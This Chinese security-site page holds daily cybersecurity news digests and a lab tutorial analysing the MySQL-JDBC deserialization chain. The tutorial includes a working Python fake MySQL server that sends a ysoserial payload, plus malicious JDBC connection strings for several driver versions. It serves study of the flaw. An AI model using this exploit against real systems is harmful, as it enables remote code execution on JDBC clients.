而不是只是搜索NSCreateObjectFileImageFromMemory,我们只是在搜索任何加载libffi-trampolines.dylib的引用,并通过我们的代码进行了替换,我们得到了同样的结果。 这里有一些注意事项。首先,我们需要确保库比我们自己要加载的模块大,否则当涉及到pread和mmap时,系统最终会截断我们的Mach-O。
网络安全日报 2023年02月02日
1、攻击者通过包含恶意VBA宏的Excel文档进行挖矿 https://www.fortinet.com/blog/threat-research/malicious-code-cryptojacks-device-to-mine-for-monero-crypto FortiGuard实验室最近捕获了Microsoft OLE复合文件格式的Excel文档,其中包含恶意VBA宏,它们的文件名分别为Pago_detalles.xls、makbuzu.xls和Pago.xls。三个Excel文档的内容和VBA项目都相似。文档内容是用西班牙语编写的,因此该活动针对的是讲西班牙语的人。研究人员深入研究发现,它们都属于同一个恶意活动,即加密系统用于挖掘Mo 2、攻击者使用冒充DocuSign的钓鱼邮件窃取用户凭据 https://www.armorblox.com/blog/breaking-the-impersonation-armorblox-stops-docusign-attack/ Armorblox研究人员观察到一次冒充知名品牌DocuSign的电子邮件攻击,目的是窃取敏感的登录凭据。这次品牌冒充攻击绕过了原生云和内联电子邮件安全解决方案,针对多个组织的1万多名终端用户。电子邮件的主题旨在向受害者营造紧迫感,并鼓励用户点击邮件中的链接。单击后,受害者将被导航到一个冒充Proofpoint Storage应用程序的虚假登录页面。钓鱼页面将收集受害者的Proofpoint ID以及登录凭据。 3、AMI MegaRAC BMC软件存在两个新的供应链漏洞 https://thehackernews.com/2023/02/additional-supply-chain-vulnerabilities.html 在AMI MegaRAC Baseboard Management Controller(BMC)软件中又披露了两个供应链安全漏洞,固件安全公司Eclypsium表示,两个新漏洞分别为:CVE-2022-26872(CVSS 评分:8.3),CVE-2022-40258(CVSS 分数:5.3)。CVE-2022-26872利用HTTP API欺骗用户通过社会工程攻击启动密码重置,并设置对手选择的密码。漏洞的影响范围目前未知,但Ecly 4、乌克兰黑客组织声称窃取俄罗斯Gazprom公司的数据 https://securityaffairs.com/141640/hacktivism/it-army-of-ukraine-hacked-gazprom.html 乌克兰IT军团(IT Army of Ukraine)宣布,他们已经获得了属于俄罗斯能源巨头Gazprom公司的1.5 GB档案。黑客组织在他们的Telegram频道上宣布了这次黑客攻击,声称这些档案包含了Gazprom公司的6000多份文件。该档案包含与金融和经济活动相关的信息、测试和钻井报告,以及Koviktinsky井(伊尔库茨克地区)自动化系统的实施和调整。乌克兰IT军团还发布了一份包含在Gazprom协议中的保密声 5、Charter Communications电信公司泄露了客户的数据 https://therecord.media/telecom-giant-charter-communications-says-third-party-vendor-had-security-breach/ Charter Communications电信公司表示,该公司的数据出现在黑客论坛上后,其公司的一家第三方供应商存在安全漏洞。1月26日,一名论坛用户发布了据称从该公司窃取的信息,其中包括约55万名客户的姓名、账号、地址等。黑客帖子称该数据库包含一系列关于维修和销售的信息。Charter Communications电信公司的发言人表示:“目前,我们不认为包含任何客户专有网络信息或 6、亲俄的 Killnet 组织攻击了荷兰和欧洲的医院 https://securityaffairs.com/141695/cyber-warfare-2/killnet-hit-dutch-european-hospitals.html 荷兰国家网络安全中心 (NCSC) 报告称,荷兰和欧洲多家医院的网站遭到亲俄黑客组织Killnet 发起的 DDoS 攻击。 7、新的 LockBit Green 勒索软件变体借用了 Conti 的代码 https://securityaffairs.com/141666/cyber-crime/lockbit-green-ransomware-variant.html Lockbit 勒索软件运营商发布了新版本的恶意软件 LockBit Green,旨在将基于云的服务纳入其目标。这是该臭名昭著的团伙继 Lockbit Red 和 Lockbit Black 之后开发的第三个版本的勒索软件。Lockbit RaaS 的附属机构可以使用 LockBit 门户上的构建器功能获得 LockBit Green。 8、研究人员披露了开源ImageMagick 软件中两个安全漏洞 https://thehackernews.com/2023/02/researchers-uncover-new-bugs-in-popular.html 网络安全研究人员披露了开源ImageMagick 软件中两个安全漏洞的详细信息,这些漏洞可能会导致拒绝服务 (DoS) 和信息泄露。这两个问题由拉丁美洲网络安全公司 Metabase Q 在 7.1.0-49版中发现,并在 2022 年 11 月发布的ImageMagick 7.1.0-52版中得到解决。漏洞简述如下——CVE-2022-44267 - 解析文件名为单破折号(“-”)的 PNG 图像时出现的 DoS。CVE-2022-4 9、新的 Sh1mmer ChromeBook 漏洞可取消注册受管设备 https://www.bleepingcomputer.com/news/security/new-sh1mmer-chromebook-exploit-unenrolls-managed-devices 一个名为“Sh1mmer”的新漏洞允许用户取消注册企业管理的 Chromebook,使他们能够安装他们想要的任何应用程序并绕过设备限制。 10、Google Fi 称黑客获取了客户的电话号码和账户信息 https://www.freebuf.com/articles/356199.html 美国移动电话运营商 Google Fi 近日表示,客户数据遭黑客泄露 。此次事件可能与1 月 19 日最近发生的T-Mobile 数据泄露事件有关,该事件涉及超过 3700 万 T-Mobile 客户。 免责声明 以上内容原文来自互联网的公共方式,仅用于有限分享,译文内容不代表蚁景网安实验室观点,因此第三方对以上内容进行分享、传播等行为,以及所带来的一切后果与译者和蚁景网安实验室无关。以上内容亦不得用于任何商业目的,若产生法律责任,译者与蚁景网安实验室一律不予承担。
MySQL-JDBC反序列化分析
0x01 前言 听师傅们说这条链子用的比较广泛,所以最近学一学,本来是想配合着 tabby 或是 codeql 一起看的,但是 tabby 的环境搭建一直有问题,耽误了很久时间,所以就直接看了。 0x02 JDBC 的基础 本来不太想写这点基础的,但想了想觉得还是要补一点。 JDBC 对数据库的操作一般有以下步骤: 1、导入包:要求您包含包含数据库编程所需的 JDBC 类的软件包。通常,使用 import java.sql.* 就足够了。 2、注册 JDBC 驱动程序:要求您初始化驱动程序,以便您可以打开与数据库的通信通道。 3、建立连接:需要使用 * DriverManager.getConnection ()* 方法来创建一个 Connection 对象,该对象表示与数据库服务器的物理连接。要创建新的数据库,在准备数据库 URL 时,无需提供任何数据库名称,如下面的示例所述。 4、执行查询:需要使用 Statement 类型的对象来构建 SQL 语句并将其提交到数据库。 5、清理:需要显式关闭所有数据库资源,而不是依赖 JVM 的垃圾回收。 例如创建一个数据库 // 步骤 1. 导入所需的软件包 import java.sql.*; public class JDBCExample {   // JDBC 驱动程序名称和数据库 URL   static final String JDBC_DRIVER = "com.mysql.jdbc.Driver";     static final String DB_URL = "jdbc:mysql://localhost/";   // 数据库凭证   static final String USER = "username";   static final String PASS = "password";     public static void main(String[] args) {   Connection conn = null;   Statement stmt = null;   try{      // 步骤 2:注册 JDBC 驱动程序      Class.forName("com.mysql.jdbc.Driver");      // 步骤 3:建立连接      System.out.println("Connecting to database...");      conn = DriverManager.getConnection(DB_URL, USER, PASS);      // 步骤 4:执行查询      System.out.println("Creating database...");      stmt = conn.createStatement();            String sql = "CREATE DATABASE STUDENTS";      stmt.executeUpdate(sql);      System.out.println("Database created successfully...");   }catch(SQLException se){      // 处理 JDBC 错误      se.printStackTrace();   }catch(Exception e){      // 处理 Class.forName 的错误      e.printStackTrace();   }finally{      // 用于关闭资源      try{         if(stmt!=null)            stmt.close();     }catch(SQLException se2){           }      try{         if(conn!=null)            conn.close();     }catch(SQLException se){         se.printStackTrace();     }   }// 结束 try   System.out.println("Goodbye!"); }// 结束 main }// 结束 JDBCExample 这一个 MySQL-JDBC 的漏洞简单来说就是 MySQL 对服务器的请求过程利用 正常的命令执行得到结果后就结束了,但是如果响应的结果是一个恶意的 poc 并且在后续过程中进行了反序列化,那么就可以用来执行任意命令了 0x03 漏洞分析 漏洞原理 如果攻击者能够控制 JDBC 连接设置项,那么就可以通过设置其指向恶意 MySQL 服务器进行 ObjectInputStream.readObject() 的反序列化攻击从而 RCE。 具体点说,就是通过 JDBC 连接 MySQL 服务端时,会有几个内置的 SQL 查询语句要执行,其中两个查询的结果集在 MySQL 客户端被处理时会调用 ObjectInputStream.readObject() 进行反序列化操作。如果攻击者搭建恶意 MySQL 服务器来控制这两个查询的结果集,并且攻击者可以控制 JDBC 连接设置项,那么就能触发 MySQL JDBC 客户端反序列化漏洞。 可被利用的两条查询语句: SHOW SESSION STATUS SHOW COLLATION 链子 pom.xml <dependency>    <groupId>commons-collections</groupId>    <artifactId>commons-collections</artifactId>    <version>3.2.1</version>   </dependency>   <dependency>    <groupId>mysql</groupId>    <artifactId>mysql-connector-java</artifactId>    <version>8.0.13</version>   </dependency> CC 链作为命令执行的部分,也就是说需要我们找一个 JDBC 合理的入口类,并且这个入口类需要在 JDBC 连接过程中被自动执行,最终是找到了这样一个类 com.mysql.cj.jdbc.result.ResultSetImpl,它的 getObject() 方法调用了 readObject() 方法 JDBC 通过 MySQL 数据库查询数据会返回一个结果集,将查询到的结果返回给程序,并将结果封装在 ResultSetImpl 这个类中。 所以这个类不满足用户可控输入这一点,所以我们应该要去找谁调用了 ResultSetImpl#getObject() 根据网上的链子是 ResultSetUtil 类调用了 ResultSetImpl#getObject(),并且能够继续向上调用(如果 tabby 或者其他工具搞好了应该会用那些工具分析) ResultSetUtil 这个类是用来处理一些测试实例的结果,或者是 profiler 的结果。简而言之还是用来做数据处理的类,继续往上看谁调用了它。 最终是 com.mysql.cj.jdbc.interceptors.ServerStatusDiffInterceptor#populateMapWithSessionStatusValues 方法调用了 ResultSetUtil#resultSetToMap 44ServerStatusDiffInterceptor 是一个拦截器,在 JDBC URL 中设定属性 queryInterceptors 为 ServerStatusDiffInterceptor 时,执行查询语句会调用拦截器的 preProcess 和 postProcess 方法,这是一个自动执行的过程,我们可以把它作为利用链头。 看一下 populateMapWithSessionStatusValues 方法的代码 先建立了 JDBC 的连接,并创建查询,查询语句是 SHOW SESSION STATUS,接着调用 ResultSetUtil.resultSetToMap,完成查询并封装查询结果。 漏洞复现 之前看 Y4tacker 师傅的文章时,发现有提到是直接用 python 脚本打,里面有很多数据,但是这个 ”打“ 肯定不是空穴来风的,所以需要再明确一下攻击思路。 环境搭建可能会踩坑,若有师傅踩坑了可以滴我一下 我们需要先伪造数据包,并用 wireshark 抓包,观测一下流量,编写 Test 类内容如下 import java.sql.*;     public class Test {      public static void main(String[] args) throws Exception {          Class.forName("com.mysql.jdbc.Driver");          String jdbc_url = "jdbc:mysql://192.168.116.129:3306/test?characterEncoding=UTF-8&serverTimezone=Asia/Shanghai" +                  "&autoDeserialize=true" +                  "&queryInterceptors=com.mysql.cj.jdbc.interceptors.ServerStatusDiffInterceptor";          Connection con = DriverManager.getConnection(jdbc_url, "root", "123123");     }   } 通过 tcp.port == 3306 && mysql 来过滤协议 我们需要用 python 脚本伪造的 MySQL 服务端需要伪造的是 Greeting 数据包 Response OK 、Response Response OK 以及 JDBC 执行查询语句 SHOW SESSION STATUS 的返回包等,我们逐个来分析。 首先是 greeting 数据包 这里发送 greeting 数据包之后需要发送 Login 请求,Login 请求里面包含了 user 和 db 以及 password,在这之后才会返回 Response OK 的数据包 Login 的请求包在发送完 greeting 包之后会自动发送,所以我们只需要发送一段 greeting 数据包,返回一段 Response OK 数据包即可,Response OK 包如下 继续往下,需要编写四个 Request Query 包的 Response 包后,才是 SHOW SESSION STATUS 响应包的编写需要我们将 MySQL Protocol 的部分全部复制进来 如此,构造出最后的 fake MySQL 服务端 import socket import binascii import os greeting_data="4a0000000a352e372e31390008000000463b452623342c2d00fff7080200ff811500000000000000000000032851553e5c23502c51366a006d7973716c5f6e61746976655f70617373776f726400" response_ok_data="0700000200000002000000" def receive_data(conn):    data = conn.recv(1024)    print("[*] Receiveing the package : {}".format(data))    return str(data).lower() def send_data(conn,data):    print("[*] Sending the package : {}".format(data))    conn.send(binascii.a2b_hex(data)) def get_payload_content():    #file文件的内容使用ysoserial生成的 使用规则 java -jar ysoserial [common7那个] "calc" > a    file= r'a'    if os.path.isfile(file):        with open(file, 'rb') as f:            payload_content = str(binascii.b2a_hex(f.read()),encoding='utf-8')        print("open successs")    else:        print("open false")        #calc        payload_content='aced0005737200116a6176612e7574696c2e48617368536574ba44859596b8b7340300007870770c000000023f40000000000001737200346f72672e6170616368652e636f6d6d6f6e732e636f6c6c656374696f6e732e6b657976616c75652e546965644d6170456e7472798aadd29b39c11fdb0200024c00036b65797400124c6a6176612f6c616e6    return payload_content # 主要逻辑 def run():    while 1:        conn, addr = sk.accept()        print("Connection come from {}:{}".format(addr[0],addr[1]))        # 1.先发送第一个 问候报文        send_data(conn,greeting_data)        while True:            # 登录认证过程模拟 1.客户端发送request login报文 2.服务端响应response_ok            receive_data(conn)            send_data(conn,response_ok_data)            #其他过程            data=receive_data(conn)            #查询一些配置信息,其中会发送自己的 版本号            if "session.auto_increment_increment" in data:                _payload='01000001132e00000203646566000000186175746f5f696e6372656d656e745f696e6372656d656e74000c3f001500000008a0000000002a00000303646566000000146368617261637465725f7365745f636c69656e74000c21000c000000fd00001f00002e00000403646566000000186368617261637465725f7365745f636f6e6e656374696f6e                send_data(conn,_payload)                data=receive_data(conn)            elif "show warnings" in data:                _payload = '01000001031b00000203646566000000054c6576656c000c210015000000fd01001f00001a0000030364656600000004436f6465000c3f000400000003a1000000001d00000403646566000000074d657373616765000c210000060000fd01001f000059000005075761726e696e6704313238374b27404071756572795f63616368655f73697a65                send_data(conn, _payload)                data = receive_data(conn)            if "set names" in data:                send_data(conn, response_ok_data)                data = receive_data(conn)            if "set character_set_results" in data:                send_data(conn, response_ok_data)                data = receive_data(conn)            if "show session status" in data:                mysql_data = '0100000102'                mysql_data += '1a000002036465660001630163016301630c3f00ffff0000fc9000000000'                mysql_data += '1a000003036465660001630163016301630c3f00ffff0000fc9000000000'                # 为什么我加了EOF Packet 就无法正常运行呢??                #获取payload                payload_content=get_payload_content()                #计算payload长度                payload_length = str(hex(len(payload_content)//2)).replace('0x', '').zfill(4)                payload_length_hex = payload_length[2:4] + payload_length[0:2]                #计算数据包长度                data_len = str(hex(len(payload_content)//2 + 4)).replace('0x', '').zfill(6)                data_len_hex = data_len[4:6] + data_len[2:4] + data_len[0:2]                mysql_data += data_len_hex + '04' + 'fbfc'+ payload_length_hex                mysql_data += str(payload_content)                mysql_data += '07000005fe000022000100'                send_data(conn, mysql_data)                data = receive_data(conn)            if "show warnings" in data:                payload = '01000001031b00000203646566000000054c6576656c000c210015000000fd01001f00001a0000030364656600000004436f6465000c3f000400000003a1000000001d00000403646566000000074d657373616765000c210000060000fd01001f00006d000005044e6f74650431313035625175657279202753484f572053455353494f4e2053544                send_data(conn, payload)            break if __name__ == '__main__':    HOST ='0.0.0.0'    PORT = 3309    sk = socket.socket(socket.AF_INET, socket.SOCK_STREAM)    #当socket关闭后,本地端用于该socket的端口号立刻就可以被重用.为了实验的时候不用等待很长时间    sk.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)    sk.bind((HOST, PORT))    sk.listen(1)    print("start fake mysql server listening on {}:{}".format(HOST,PORT))    run() 在本地运行,并运行 JDBC 的连接代码 再来看 Fake MySQL 服务端这边的响应,是能收到包,并且发包的;相当清晰 调试分析 在 com.mysql.cj.jdbc.interceptors.ServerStatusDiffInterceptor#populateMapWithSessionStatusValues 下个断点,开始调试分析 往下跟,先运行查询语句 SHOW SESSION STATUS,接着调用了 ResultSetUtil.resultSetToMap() ResultSetUtil.resultSetToMap() 调用了 getObject() 方法,第一处调用 getObject() 方法回返回 null,第二次调用时才会走到反序列化的代码逻辑里面。 在调用 getObject() 方法中,判断 MySQL 的类型为 BLOB 后,就从 MySQL 服务端中获取对应的字节码数据 从 MySQL 服务端获取到字节码数据后,判断 autoDeserialize 是否为 true、字节码数据是否为序列化对象等,最后调用 readObject() 触发反序列化漏洞 不同 MySQL-JDBC-Driver 的 payload 8.x 如上述 Demo: "jdbc:mysql://127.0.0.1:3309/test?characterEncoding=UTF-8&serverTimezone=Asia/Shanghai" +          "&autoDeserialize=true" +      "&queryInterceptors=com.mysql.cj.jdbc.interceptors.ServerStatusDiffInterceptor"; 6.x 属性名不同,queryInterceptors 换为 statementInterceptors jdbc:mysql://x.x.x.x:3306/test?autoDeserialize=true&statementInterceptors=com.mysql.cj.jdbc.interceptors.ServerStatusDiffInterceptor >=5.1.11 包名中没有cj jdbc:mysql://x.x.x.x:3306/test?autoDeserialize=true&statementInterceptors=com.mysql.jdbc.interceptors.ServerStatusDiffInterceptor 5.x <= 5.1.10 同上,但需要连接后执行查询。 5.1.29 - 5.1.40 jdbc:mysql://x.x.x.x:3306/test?detectCustomCollations=true&autoDeserialize=true 5.1.28 - 5.1.19 jdbc:mysql://127.0.0.1:3306/test?autoDeserialize=true 0x04 小结 总体来说还是比较简单的一条链子,但是需要注意到需要将 MySQL 字段类型修改为 BLOB 才可以。
网络安全日报 2023年02月01日
1、QNAP 严重漏洞导致代码注入 https://www.securityweek.com/critical-qnap-vulnerability-leads-to-code-injection/ QNAP Systems 本周发布了一个严重漏洞的警告,该漏洞可能允许攻击者在网络存储 (NAS) 设备上注入恶意代码。新披露的漏洞编号为CVE-2022-27596(CVSS 评分为 9.8),被描述为影响 QuTS hero 和 QTS 的 SQL 注入漏洞。“已报告一个漏洞影响运行 QTS 5.0.1 和 QuTS hero h5.0.1 的 QNAP 设备。如果被利用,此漏洞允许远程攻击者注入恶意代码,”QNAP 在其公告 2、GitHub 吊销被盗的 GitHub Desktop 和 Atom 代码签名证书 https://www.securityweek.com/github-revokes-code-signing-certificates-following-cyberattack/ 代码托管平台 GitHub 周一宣布吊销用于 GitHub Desktop 和 Atom 应用程序的三个数字证书。这三个证书于 2022 年 12 月 6 日被盗,此前未经授权的第三方使用受损的个人访问令牌 (PAT) 作为机器帐户从 Atom、GitHub Desktop 和其他已弃用的 GitHub 拥有的组织克隆存储库。GitHub 于 12 月 7 日撤销了泄露的凭据。 3、研究人员发布了VMware vRealize Log RCE 漏洞PoC https://securityaffairs.com/141628/hacking/vmware-vrealize-log-rce-poc-resealed.html Horizon3 安全研究人员发布了 VMware vRealize Log Insight RCE 漏洞 CVE-2022-31706(CVSS 9.8/10) 的概念验证 (PoC) 代码。PoC 利用代码将触发 VMware vRealize Log 中的一系列漏洞,以实现对易受攻击的安装的远程代码执行。 4、新版本的 Prilex PoS 恶意软件可以窃取NFC 交易数据 https://securelist.com/prilex-modification-now-targeting-contactless-credit-card-transactions/108569/ Prilex已经从以 ATM 为中心的恶意软件发展成为独特的模块化 PoS 恶意软件。这是一种高度先进的恶意软件,采用独特的加密方案,在目标软件中进行实时修补、强制协议降级、操纵密码、进行GHOST 交易和进行信用卡欺诈——即使是在受所谓不可破解的 CHIP 和 PIN 技术保护的卡上也是如此。 5、开源密码管理软件KeePass被发现存在安全漏洞 https://securityaffairs.com/141571/social-networks/facebook-instagram-bug.html 开源密码管理软件KeePass背后的开发团队正在争论一个新发现的漏洞,该漏洞允许攻击者以纯文本方式偷偷导出整个数据库。KeePass是一个非常流行的开源密码管理软件,它允许用户使用本地存储的数据库来管理密码,而不是像LastPass或Bitwarden这样的云托管数据库。新的漏洞现在被跟踪为CVE-2023-24055,它使攻击者能够对目标系统进行写访问,以更改KeePass XML配置文件并注入恶意触发器,以明文形式导出数据库,包括所 6、Zendesk员工被黑致用户个人信息外泄 https://www.10lun.com/article/176778.html 知名云计算客服软件企业Zendesk两周前通知客户,数名员工遭到钓鱼短信攻击被窃取资料,导致客户个人信息外泄。 7、黑客组织“晓骑营”攻陷韩国数十家网站 https://www.anquanke.com/post/id/285795 日前,韩国网络振兴院证实,韩国12家学术网站被黑客组织“晓骑营”攻击,至今网站还处于无法连接的状态。 8、Argo CD发布多个高危漏洞安全风险通告 https://www.secrss.com/articles/51419 Argo CD官方发布Argo CD身份认证绕过漏洞(CVE-2023-22482)和Argo CD授权绕过漏洞(CVE-2023-22736)通告。 9、NIST发布《人工智能风险管理框架》正式版 https://www.secrss.com/articles/51429 【据美国NIST网站1月26日报道】1月26日,《人工智能风险管理框架》(RMF)发布,旨在提供设计、开发、部署和使用人工智能系统的指南,降低应用人工智能技术的风险。 10、北欧现模仿Lockbit团伙的山寨网络犯罪分子 https://securityaffairs.com/141491/cyber-crime/crooks-mimicking-lockbit-gang.html 近日,关于针对北欧中小企业的基于 Lockbit locker 的攻击的报告表明,当地的网络骗子开始使用Lockbit locker 变种。最近,针对北欧公司的勒索软件攻击显着增加。这些攻击是使用 LockBit 变种进行。Lockbit 勒索软件集一直以各行各业的各种规模的公司为目标,造成了严重的破坏和财务损失。 免责声明 以上内容原文来自互联网的公共方式,仅用于有限分享,译文内容不代表蚁景网安实验室观点,因此第三方对以上内容进行分享、传播等行为,以及所带来的一切后果与译者和蚁景网安实验室无关。以上内容亦不得用于任何商业目的,若产生法律责任,译者与蚁景网安实验室一律不予承担。
网络安全日报 2023年01月31日
1、乌克兰国家新闻机构遭Sandworm黑客组织攻击 https://www.govinfosecurity.com/ukraine-links-media-center-attack-to-russian-intelligence-a-21043 乌克兰追踪到一起导致新闻发布会推迟的网络攻击是俄罗斯Sandworm黑客组织所为。调查人员表示,该黑客组织与俄罗斯格勒乌关系密切。根据调查人员的说法,此次攻击使用了与俄罗斯黑客有关的五种恶意软件,分别是CaddyWiper、ZeroWipe、SDelete、AwfulShred和BidSwipe。在上周由乌克兰国家特殊通信和信息保护局负责人Yurii Shchyhol举行的新闻发布会上,乌克兰国家新 2、UNC2565组织继续改进GOOTLOADER恶意软件 https://securityaffairs.com/141539/malware/gootloader-malware-evolution.html Mandiant研究人员报告称,GOOTLOADER恶意软件(又名Gootkit)背后的UNC2565组织通过添加新组件和实施新的混淆技术继续改进他们的代码。Gootkit运行在“访问即服务”模型上,不同的组织使用它在受感染的系统上部署额外的恶意载荷。众所周知,Gootkit使用无文件技术来传递恶意软件,如SunCrypt、REvil勒索软件、Kronos木马和Cobalt Strike。在过去,Gootkit传播伪装成免费软件安装程序的恶 3、新研究揭示了Golden Chickens恶意软件背后的攻击者 https://gbhackers.com/infamous-golden-chickens-malware-as-a-service/ 网络安全专家已经揭示了Golden Chickens恶意软件即服务背后的个人身份。攻击者在网上被称为“badbullzvenom”,在现实世界中已经被确认。eSentire威胁响应部门进行了为期16个月的广泛调查,发现badbullzvenom帐户与多个人相关联,正如该部门最近发表的报告中所述。为了联系与Golden Chickens恶意软件即服务相关的不同论坛帐户,TRU团队通过开源情报对各种安全报告进行了全面分析。他们发现了2015年趋势科技的一份报告 4、大量被黑的WordPress网站将访问者重定向到恶意网站 https://cyware.com/news/new-wave-of-database-injection-attacks-compromise-wordpress-sites-86652900 一场大规模的活动正在利用被黑客攻击的WordPress网站,将受害者重定向到技术支持骗局、成人约会、网络钓鱼或路过式下载攻击。它背后的黑客已经通过多次重定向和合法下载来确保他们的恶意有效载荷很难被发现。据Sucuri的研究人员称,与恶意域名violetlovelines[.]com有关的WordPress网站感染激增。该活动自2022年12月26日以来一直很活跃,数据显示,到目前为止,有超过560 5、微软敦促各组织为本地Exchange服务器打补丁 https://www.theregister.com/2023/01/28/microsoft_patch_exchange_servers/ 由于网络犯罪分子仍在寻找电子邮件系统中的有价值数据,微软敦促各组织通过更新和强化来保护他们的Exchange服务器免受网络攻击。根据供应商Exchange团队的介绍,企业需要确保在Exchange服务器上安装最新的累积更新(CUs)和安全更新(SUs),偶尔也需要在Exchange管理工具工作站上安装,如启用扩展保护和PowerShell序列化有效载荷的证书签名。 6、英国零售商 JD Sports 披露了影响 1000 万客户的数据泄露事件 https://www.securityweek.com/british-retailer-jd-sports-discloses-data-breach-affecting-10-million-customers/ 英国运动时尚零售公司 JD Sports 周一透露,它发现了影响大约 1000 万客户的数据泄露事件。 据该公司称,该网络事件影响了在 2018 年 11 月至 2020 年 10 月期间在线下订单的客户提供的信息。JD、Size、Millets、Blacks、Scotts 和 MilletSport 品牌受到影响。根据该公司对事件的简要描述,黑客可能窃取了客户的姓名、账单地 7、打印机制造商Lexmark警告称超过120种打印机型号存在漏洞 https://www.securityweek.com/critical-vulnerability-impacts-over-120-lexmark-printers/ 打印机和成像产品制造商Lexmark发布了一份安全警告,警告用户超过120种打印机型号存在严重漏洞。该漏洞被跟踪为CVE-2023-23560 (CVSS评分9.0),被描述为Lexmark设备Web服务功能中的服务器端请求伪造(SSRF)漏洞,可以被利用来执行任意代码。Lexmark在一份报告(PDF)中警告称:“成功利用此漏洞可以导致攻击者能够在设备上远程执行任意代码。”制造商列出了大约125种受安全漏洞影响的设备型 8、研究人员在医疗保健软件OpenEMR中发现了三个漏洞 https://www.infosecurity-magazine.com/news/vulnerabilities-healthcare 研究人员在OpenEMR中发现了三个独立的漏洞,OpenEMR是一种用于电子健康记录和医疗实践管理的开源软件。Sonar的清洁代码专家布了一份关于安全研究员Dennis Brinkrolf发现的漏洞的建议。Brinkrolf写道:“这些漏洞的组合允许远程攻击者对任何OpenEMR服务器上执行系统命令并窃取敏感的患者数据。在最坏的情况下,会危及整个关键基础设施。”这位安全专家解释说,其公司的静态应用程序安全测试引擎发现这三个漏洞中的两个结合起来可能导致未经 9、Meta 为2FA 绕过漏洞支付了27,000 美元赏金 https://www.securityweek.com/meta-awards-27000-bounty-for-2fa-bypass-vulnerability 一位研究人员披露了双因素身份验证 (2FA) 漏洞的详细信息,该漏洞使他从 Facebook 母公司 Meta 获得了 27,000 美元的漏洞赏金。 10、Realtek Jungle SDK漏洞被用于超过 1.34 亿次尝试破解物联网设备 https://thehackernews.com/2023/01/realtek-vulnerability-under-attack-134.html 研究人员警告说,自 2022 年 8 月开始,利用 Realtek Jungle SDK 中的一个关键远程代码执行漏洞进行攻击的攻击企图激增。据 Palo Alto Networks Unit 42 称,截至 2022 年 12 月,正在进行的活动据称已记录了 1.34 亿次攻击尝试,其中 97% 的攻击发生在过去四个月。 免责声明 以上内容原文来自互联网的公共方式,仅用于有限分享,译文内容不代表蚁景网安实验室观点,因此第三方对以上内容进行分享、传播等行为,以及所带来的一切后果与译者和蚁景网安实验室无关。以上内容亦不得用于任何商业目的,若产生法律责任,译者与蚁景网安实验室一律不予承担。
第2页 第3页 第4页 第5页 第6页 第7页 第8页 第9页 第10页 第11页 第12页 第13页 第14页 第15页 第16页 第17页 第18页 第19页 第20页 第21页 第22页 第23页 第24页 第25页 第26页 第27页 第28页 第29页 第30页 第31页 第32页 第33页 第34页 第35页 第36页 第37页 第38页 第39页 第40页 第41页 第42页 第43页 第44页 第45页 第46页 第47页 第48页 第49页 第50页 第51页 第52页 第53页 第54页 第55页 第56页 第57页 第58页 第59页 第60页 第61页 第62页 第63页 第64页 第65页 第66页 第67页 第68页 第69页 第70页 第71页 第72页 第73页 第74页 第75页 第76页 第77页 第78页 第79页 第80页 第81页 第82页 第83页 第84页 第85页 第86页 第87页 第88页 第89页 第90页 第91页 第92页 第93页 第94页 第95页 第96页 第97页 第98页 第99页 第100页 第101页 第102页 第103页 第104页 第105页 第106页 第107页 第108页 第109页 第110页 第111页 第112页 第113页 第114页 第115页 第116页 第117页 第118页 第119页 第120页 第121页 第122页 第123页 第124页 第125页 第126页 第127页 第128页 第129页 第130页 第131页 第132页 第133页 第134页 第135页 第136页 第137页 第138页 第139页 第140页 第141页 第142页 第143页 第144页 第145页 第146页 第147页 第148页 第149页 第150页 第151页 第152页 第153页 第154页 第155页 第156页 第157页 第158页 第159页 第160页 第161页 第162页 第163页 第164页 第165页 第166页 第167页 第168页 第169页 第170页 第171页 第172页 第173页 第174页 第175页 第176页 第177页 第178页 第179页 第180页 第181页 第182页 第183页 第184页 第185页 第186页 第187页 第188页 第189页 第190页 第191页 第192页 第193页 第194页 第195页 第196页 第197页 第198页 第199页 第200页 第201页 第202页 第203页 第204页 第205页 第206页 第207页